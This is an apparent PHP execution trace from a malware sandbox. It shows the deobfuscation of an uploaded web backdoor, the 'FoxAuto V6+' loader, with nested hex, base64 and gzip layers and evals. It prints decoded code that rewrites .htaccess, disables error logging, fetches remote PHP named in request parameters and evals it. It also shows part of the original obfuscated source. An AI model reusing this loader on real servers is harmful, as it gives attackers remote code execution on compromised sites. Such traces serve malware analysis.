3	67	0	0.002371	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	40	2
3	67	1	0.002386	398384
3	67	R			'73'
3	68	0	0.002398	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'73'
3	68	1	0.002413	398336
3	68	R			115
3	69	0	0.002426	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	115
3	69	1	0.002439	398352
3	69	R			's'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 's'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	70	0	0.002469	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	42	2
3	70	1	0.002484	398384
3	70	R			'65'
3	71	0	0.002496	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'65'
3	71	1	0.002509	398336
3	71	R			101
3	72	0	0.002521	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	101
3	72	1	0.002534	398352
3	72	R			'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	73	0	0.002565	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	44	2
3	73	1	0.002579	398384
3	73	R			'36'
3	74	0	0.002591	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'36'
3	74	1	0.002603	398336
3	74	R			54
3	75	0	0.002616	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	54
3	75	1	0.002628	398352
3	75	R			'6'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '6'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	76	0	0.002659	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	46	2
3	76	1	0.002674	398384
3	76	R			'34'
3	77	0	0.002686	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'34'
3	77	1	0.002698	398336
3	77	R			52
3	78	0	0.002710	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	52
3	78	1	0.002722	398352
3	78	R			'4'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '4'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	79	0	0.002753	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	48	2
3	79	1	0.002768	398392
3	79	R			'5F'
3	80	0	0.002780	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'5F'
3	80	1	0.002792	398344
3	80	R			95
3	81	0	0.002804	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	95
3	81	1	0.002816	398360
3	81	R			'_'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '_'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	82	0	0.002847	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	50	2
3	82	1	0.002862	398392
3	82	R			'64'
3	83	0	0.002874	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'64'
3	83	1	0.002885	398344
3	83	R			100
3	84	0	0.002897	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	100
3	84	1	0.002910	398360
3	84	R			'd'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'd'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	85	0	0.002941	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	52	2
3	85	1	0.002955	398392
3	85	R			'65'
3	86	0	0.002967	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'65'
3	86	1	0.002979	398344
3	86	R			101
3	87	0	0.002991	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	101
3	87	1	0.003003	398360
3	87	R			'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	88	0	0.003034	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	54	2
3	88	1	0.003049	398392
3	88	R			'63'
3	89	0	0.003061	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'63'
3	89	1	0.003072	398344
3	89	R			99
3	90	0	0.003084	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	99
3	90	1	0.003100	398360
3	90	R			'c'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'c'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	91	0	0.003131	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	56	2
3	91	1	0.003146	398392
3	91	R			'6F'
3	92	0	0.003158	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'6F'
3	92	1	0.003170	398344
3	92	R			111
3	93	0	0.003182	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	111
3	93	1	0.003194	398360
3	93	R			'o'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'o'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	94	0	0.003225	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	58	2
3	94	1	0.003240	398392
3	94	R			'64'
3	95	0	0.003252	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'64'
3	95	1	0.003266	398344
3	95	R			100
3	96	0	0.003279	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	100
3	96	1	0.003313	398360
3	96	R			'd'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'd'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	97	0	0.003345	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	60	2
3	97	1	0.003360	398392
3	97	R			'65'
3	98	0	0.003373	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'65'
3	98	1	0.003384	398344
3	98	R			101
3	99	0	0.003396	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	101
3	99	1	0.003408	398360
3	99	R			'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	100	0	0.003439	398264	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	62	2
3	100	1	0.003454	398392
3	100	R			'28'
3	101	0	0.003467	398296	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'28'
3	101	1	0.003479	398344
3	101	R			40
3	102	0	0.003491	398264	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	40
3	102	1	0.003503	398360
3	102	R			'('
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '('
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	103	0	0.003535	398272	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	64	2
3	103	1	0.003550	398400
3	103	R			'27'
3	104	0	0.003562	398304	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'27'
3	104	1	0.003574	398352
3	104	R			39
3	105	0	0.003586	398272	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	39
3	105	1	0.003599	398368
3	105	R			'\''
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '\''
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
2	5	1	0.003630	398272
2	5	R			'eval(gzuncompress(base64_decode(\''
2	106	0	0.003662	403032	eval	1	'eval(gzuncompress(base64_decode(\'eJyNVH9ME2cYZgwZYyObDqdTcSc2ay/r8AotRc4u1nIFtKVNWxTlyq20X/G0tPV6LcVy25wLmToZM8zgNrI/nDPooobp5kw0Q5kOf6BOBRlKFopxiWEbYlFhLvuuLVGpNrvk8l3ufd7n/fE974sAhnExFAPcLoalnVUiglJqNBUEVaIzFasIFLcBO+0EImGnUIwI9w71CVFcUKjRLVFqjOWdZkSBAL/b4bJBRF1i3TN1SRBWtZ522h0WFog83koPy4iEr29JSQg/qZ8Z+pjfsJdbfGOX91/Y8lxz1zsbF5DkkqJN7R0HFw8EHgwMEzNPtd0YnjK7/pP9GXL60tulO1e2KPJXDa2Zcil996vH/w0FQydCxjTxVf3KWwHldmT8n4ZX3IdEzIvSP8+cLb65jCRPpvT1p1+VNJyfmtX27L6xrIafpp/NlqdtmzN4M6nfx5TdGPyOayv/PufugfICrGsczBo8UN6BeYaSfHiSHDk8vf35rRnaFGfv71OXfbz6g2DF380z91VIZZ3s+qOv9apbenqOnRF89NJM6c7O5RtSxloztO09P+/9Zc+bY9e6T+rZFzpGFAta+9XDw2Xd51pympK7VoUyuGmz7iTX3nljuHvNcPB4nXH+Vt/8gh17ljerTM23H+wMksI22l/V13jBKCBJTe26gYu3FmpH76RuSvwi79MPkfPbR09kptee7mk9Pa76ga13nFs7X3ZZoL2Srm3+Fhya1qS/Wpx8Y8ttZEzH3dPNXRTsy5/9eT11+JYVTb3f7T8e/Ct9c9ORfvXIH8GqdbuGdk05Vk2t/vHmlaE1u8t+fXf/wcvzFl9Yuvkas+7LnuoHIctpX+/AsvcbtW1cKhtCRt07NrQkJpu+OnLxbv6pa1/vRlV3W+eWqeQdg42z9KE5CfOKLNeXtvU6NmaMLOr8RnC/L+DZZr09o/n60fbu/nPvJY6smLH0XmJCglCM+TGLGHkrD0VRPC11svQwFF9MO2nKA1jRhMYCnVw5ZhaXlGo0T7YGICcm4cRPdYZmLNvM24F1tQuZ7IphORxO20W0J+xJFRKm8hh/DJOazSgaEOh9BTagqLR4QK6UsgErL/xJjDIOToiNzc2rUQgoI2FYThhiCHPNZtzrdNDOtaLMQATMkTI5KcslJTKM9MulpD9XQkqkOfDMgaeMlMDTL8/JRPlk7V6nlaVdTgr4aQ/riekHJudgtnbaASi3l6WsLicLnBAXLxgfKPJGgsE3UxwpGMU54PCAgL2GoeFU211u4HyEy59t58n8uXnQKZYMZh0li2lrnhl9GIKvi884WtNjufqzAeSJcoW7kR3+J5HxscJnJqz4ST0Nw6JpRNJ56CoJ9wC64hw30VPE6mUcapdf6WVdIoFNIvPWwItXejEXoeBNFFQZK0Lx8DfUjMsNZRM2i1WlBo1Ob6JMxVpCV2ri5S4BcZEGwlRqKDEZlCVGNWEQz8PiouEhjmYUFwZVpywkSkziWLFjC7m4vmqdRqNbodGplKZiXUk4IXgvcInT/CKPBJ98kRZ+NOJwGo0aCk5BsXqlnoBFxq/xIbhIZzTxYC4OuohQFvB9k6A4A1gvE7k9KCFgjUKhv0BfrWT0isnNqOSQrKfMuxXOJywbVLvZ2tidEG2ljePrhmplo+MhcOvKPOsVYRFXgUfGLpIA+ghlGMkvlIjLY5KLgrmoDfad35EOixXELjYMA+bJt2znxFF+/H9QSLB4BMBncUxki3P/AbUxDAQ=\')));'	/var/www/html/uploads/drrwojkwux.php	1	0
3	107	0	0.003820	403032	base64_decode	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code	1	1	'eJyNVH9ME2cYZgwZYyObDqdTcSc2ay/r8AotRc4u1nIFtKVNWxTlyq20X/G0tPV6LcVy25wLmToZM8zgNrI/nDPooobp5kw0Q5kOf6BOBRlKFopxiWEbYlFhLvuuLVGpNrvk8l3ufd7n/fE974sAhnExFAPcLoalnVUiglJqNBUEVaIzFasIFLcBO+0EImGnUIwI9w71CVFcUKjRLVFqjOWdZkSBAL/b4bJBRF1i3TN1SRBWtZ522h0WFog83koPy4iEr29JSQg/qZ8Z+pjfsJdbfGOX91/Y8lxz1zsbF5DkkqJN7R0HFw8EHgwMEzNPtd0YnjK7/pP9GXL60tulO1e2KPJXDa2Zcil996vH/w0FQydCxjTxVf3KWwHldmT8n4ZX3IdEzIvSP8+cLb65jCRPpvT1p1+VNJyfmtX27L6xrIafpp/NlqdtmzN4M6nfx5TdGPyOayv/PufugfICrGsczBo8UN6BeYaSfHiSHDk8vf35rRnaFGfv71OXfbz6'
3	107	1	0.003853	404856
3	107	R			'x��TL\023g\030f\f\031c#�\016�Sq\'6k/��\n-E�.�r\005��M[\024�ʭ�_�z-�rۜ\v�:\0313��6�?�3袆��L4C�\016�N\005\031J\026�q�a\033bQa.��-Q�6���]�}���=�\000�q1\024\003�.���U"�Rj4\025\004U�3\025�\b\024�\001;�\004"a�P�\b�\016�\tQ\\P��-Qj��fD�\000���AD]b�3uI\020V��v�\035\026\026�<�J\017ˈ��oII\b?��\031��߰�[|c��_��\\s�;\033\027�䒢M�\035\a\027\017\004\036\f\f\0233O��\030�2����\031r��ۥ;W�(�W\r��r)}���\r\005C\'B�4�U��[\001�vd���W܇D̋�?Ϝ-���$O��_�4����쾱�����͖�m�3x3��ǔ�\030��k+�>���\002�k\034�\032<Pށy'
3	108	0	0.003923	404824	gzuncompress	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code	1	1	'x��TL\023g\030f\f\031c#�\016�Sq\'6k/��\n-E�.�r\005��M[\024�ʭ�_�z-�rۜ\v�:\0313��6�?�3袆��L4C�\016�N\005\031J\026�q�a\033bQa.��-Q�6���]�}���=�\000�q1\024\003�.���U"�Rj4\025\004U�3\025�\b\024�\001;�\004"a�P�\b�\016�\tQ\\P��-Qj��fD�\000���AD]b�3uI\020V��v�\035\026\026�<�J\017ˈ��oII\b?��\031��߰�[|c��_��\\s�;\033\027�䒢M�\035\a\027\017\004\036\f\f\0233O��\030�2����\031r��ۥ;W�(�W\r��r)}���\r\005C\'B�4�U��[\001�vd���W܇D̋�?Ϝ-���$O��_�4����쾱�����͖�m�3x3��ǔ�\030��k+�>���\002�k\034�\032<Pށy'
3	108	1	0.004008	407416
3	108	R			' error_reporting(E_ALL^E_NOTICE);define(\'�\', \'���\');$GLOBALS[�] = explode(\'|\002|\001|\004\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�R�r�0\020�v�ԯЋ\a��`�/\\\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&'
3	109	0	0.004174	431384	eval	1	' error_reporting(E_ALL^E_NOTICE);define(\'�\', \'���\');$GLOBALS[�] = explode(\'|\002|\001|\004\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�R�r�0\020�v�ԯЋ\a��`�/\\\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\\\'�ixgې�S$\\\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<��:\033��_��c)\n��x���\024����F���gq��\005�m_h����j�X�~���!@�J��rq��m��a�v��K��M�}\nt� �p���\002\006T���:�ܤ�)C��\036XC7��\032P�\034\000!Ha�J��l�\035�<ɦ$��{s�c�\027�ݽ����\002�W\027J�\002\000\000\',0x0a, -8)));\r\nerror_reporting(0);@ini_set($GLOBALS{�}[0],NULL);@ini_set($GLOBALS{�}{0x001},0);@ini_set($GLOBALS{�}[0x0002],0);echo $GLOBALS{�}{0x00003};if(isset($_GET[$GLOBALS{�}[0x000004]])){$PvDde=base64_decode($GLOBALS{�}{0x05});$dt68w=$_SERVER[$GLOBALS{�}[0x006]];unlink("{$dt68w}\\57\\56\\150\\x74\\x61\\143\\x63\\145\\163\\x73");if(function_exists($GLOBALS{�}{0x0007})){file_put_contents("{$dt68w}\\57\\56\\150\\x74\\x61\\x63\\x63\\x65\\163\\163",$PvDde);}else{fwrite(fopen("{$dt68w}\\x2f\\56\\x68\\164\\x61\\x63\\x63\\x65\\x73\\163",$GLOBALS{�}[0x00008]),$PvDde);}if(file_exists("{$dt68w}\\57\\x2e\\x75\\x73\\145\\162\\x2e\\151\\x6e\\151")){unlink("{$dt68w}\\57\\x2e\\165\\x73\\x65\\x72\\x2e\\151\\156\\151");}}function curlFoxAuto($d15uw){$Au0oE=curl_init();curl_setopt($Au0oE,CURLOPT_TIMEOUT,0x01e);curl_setopt($Au0oE,CURLOPT_RETURNTRANSFER,!0);curl_setopt($Au0oE,CURLOPT_URL,$d15uw);curl_setopt($Au0oE,CURLOPT_USERAGENT,$GLOBALS{�}{0x000009});curl_setopt($Au0oE,CURLOPT_FOLLOWLOCATION,!0);if(stristr($d15uw,$GLOBALS{�}[0x0a])){curl_setopt($Au0oE,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($Au0oE,CURLOPT_SSL_VERIFYHOST,0);}curl_setopt($Au0oE,CURLOPT_HEADER,!1);return curl_exec($Au0oE);}$PmArP=$GLOBALS{�}{0x00b} .$_GET[$GLOBALS{�}[0x000c]];if(empty($_GET[$GLOBALS{�}{0x0000d}])){exit;}else{$pOXsz=file_get_contents($PmArP);if(empty($pOXsz)){$pOXsz=curlFoxAuto($PmArP);}$pOXsz=str_replace($GLOBALS{�}[0x00000e],$GLOBALS{�}{0x0f},$pOXsz);$pOXsz=str_replace($GLOBALS{�}[0x0010],$GLOBALS{�}{0x0f},$pOXsz);eval($pOXsz);}'	/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code	1	0
4	110	0	0.004268	431384	error_reporting	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	1	1	32759
4	110	1	0.004289	431456
4	110	R			0
4	111	0	0.004303	431416	define	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	1	2	'�'	'���'
4	111	1	0.004318	431520
4	111	R			TRUE
4	112	0	0.004332	431448	substr	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	7	3	'\037�\b\000\000\000\000\000\000\n�R�r�0\020�v�ԯЋ\a��`�/\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\'�ixgې�S$\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<'	10	-8
4	112	1	0.004385	432184
4	112	R			'�R�r�0\020�v�ԯЋ\a��`�/\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\'�ixgې�S$\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<��:\033��_��c)\n��x���\024����F���gq��\005�m_h����j�X�~���!@�J��rq��m��a�v��K��M�}\nt� �p���\002\006T���:�ܤ�)C��\036XC7��\032P�\034\000!Ha�J��l�\035�<ɦ$��{s�c�\027�ݽ����\002'
4	113	0	0.004443	432088	gzinflate	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	7	1	'�R�r�0\020�v�ԯЋ\a��`�/\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\'�ixgې�S$\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<��:\033��_��c)\n��x���\024����F���gq��\005�m_h����j�X�~���!@�J��rq��m��a�v��K��M�}\nt� �p���\002\006T���:�ܤ�)C��\036XC7��\032P�\034\000!Ha�J��l�\035�<ɦ$��{s�c�\027�ݽ����\002'
4	113	1	0.004507	433016
4	113	R			'error_log|\002|\001|\004log_errors|\002|\001|\004display_errors|\002|\001|\004FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n|\002|\001|\004403|\002|\001|\004IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdG'
4	114	0	0.004548	432344	explode	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	7	2	'|\002|\001|\004'	'error_log|\002|\001|\004log_errors|\002|\001|\004display_errors|\002|\001|\004FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n|\002|\001|\004403|\002|\001|\004IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdG'
4	114	1	0.004587	434864
4	114	R			[0 => 'error_log', 1 => 'log_errors', 2 => 'display_errors', 3 => 'FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n', 4 => '403', 5 => 'IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgojIEVORAo=', 6 => 'DOCUMENT_ROOT', 7 => 'file_put_contents', 8 => 'w', 9 => 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:43.0) Gecko/20100101 Firefox/43.0', 10 => 'https://', 11 => 'http://', 12 => 'php', 13 => 'php', 14 => '<?php', 15 => '', 16 => '?>']
3		A						/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	1	GLOBALS['���'] = [0 => 'error_log', 1 => 'log_errors', 2 => 'display_errors', 3 => 'FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n', 4 => '403', 5 => 'IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgojIEVORAo=', 6 => 'DOCUMENT_ROOT', 7 => 'file_put_contents', 8 => 'w', 9 => 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:43.0) Gecko/20100101 Firefox/43.0', 10 => 'https://', 11 => 'http://', 12 => 'php', 13 => 'php', 14 => '<?php', 15 => '', 16 => '?>']
4	115	0	0.004675	433896	error_reporting	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	8	1	0
4	115	1	0.004691	433904
4	115	R			32759
4	116	0	0.004705	433840	ini_set	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	8	2	'error_log'	NULL
4	116	1	0.004722	433912
4	116	R			''
4	117	0	0.004736	433840	ini_set	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	8	2	'log_errors'	0
4	117	1	0.004751	433912
4	117	R			'1'
4	118	0	0.004765	433840	ini_set	0		/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	8	2	'display_errors'	0
4	118	1	0.004780	433912
4	118	R			''
3		A						/var/www/html/uploads/drrwojkwux.php(1) : eval()'d code(1) : eval()'d code	8	$PmArP = 'http://'
			0.004836	354608
TRACE END   [2023-02-13 01:20:06.924900]

Generated HTML code
<html><head></head><body>FoxAuto V6+<br>Download: anonymousfox.com | <script type="text/javascript">document.write(unescape('%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74'))</script>anonymousfox.net | anonymousfox.info     <br>Telegram: @Anonymous_Fox
</body></html>
Original PHP code
<?php error_reporting(0); function Momdo($T1R7y) { $CyJ4O = strlen(trim($T1R7y)); $yB2qC = ''; for ($srffE = 0; $srffE < $CyJ4O; $srffE += 2) { $yB2qC .= pack("C", hexdec(substr($T1R7y, $srffE, 2))); } return $yB2qC; } eval(MOmdO("6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827") . 'eJyNVH9ME2cYZgwZYyObDqdTcSc2ay/r8AotRc4u1nIFtKVNWxTlyq20X/G0tPV6LcVy25wLmToZM8zgNrI/nDPooobp5kw0Q5kOf6BOBRlKFopxiWEbYlFhLvuuLVGpNrvk8l3ufd7n/fE974sAhnExFAPcLoalnVUiglJqNBUEVaIzFasIFLcBO+0EImGnUIwI9w71CVFcUKjRLVFqjOWdZkSBAL/b4bJBRF1i3TN1SRBWtZ522h0WFog83koPy4iEr29JSQg/qZ8Z+pjfsJdbfGOX91/Y8lxz1zsbF5DkkqJN7R0HFw8EHgwMEzNPtd0YnjK7/pP9GXL60tulO1e2KPJXDa2Zcil996vH/w0FQydCxjTxVf3KWwHldmT8n4ZX3IdEzIvSP8+cLb65jCRPpvT1p1+VNJyfmtX27L6xrIafpp/NlqdtmzN4M6nfx5TdGPyOayv/PufugfICrGsczBo8UN6BeYaSfHiSHDk8vf35rRnaFGfv71OXfbz6g2DF380z91VIZZ3s+qOv9apbenqOnRF89NJM6c7O5RtSxloztO09P+/9Zc+bY9e6T+rZFzpGFAta+9XDw2Xd51pympK7VoUyuGmz7iTX3nljuHvNcPB4nXH+Vt/8gh17ljerTM23H+wMksI22l/V13jBKCBJTe26gYu3FmpH76RuSvwi79MPkfPbR09kptee7mk9Pa76ga13nFs7X3ZZoL2Srm3+Fhya1qS/Wpx8Y8ttZEzH3dPNXRTsy5/9eT11+JYVTb3f7T8e/Ct9c9ORfvXIH8GqdbuGdk05Vk2t/vHmlaE1u8t+fXf/wcvzFl9Yuvkas+7LnuoHIctpX+/AsvcbtW1cKhtCRt07NrQkJpu+OnLxbv6pa1/vRlV3W+eWqeQdg42z9KE5CfOKLNeXtvU6NmaMLOr8RnC/L+DZZr09o/n60fbu/nPvJY6smLH0XmJCglCM+TGLGHkrD0VRPC11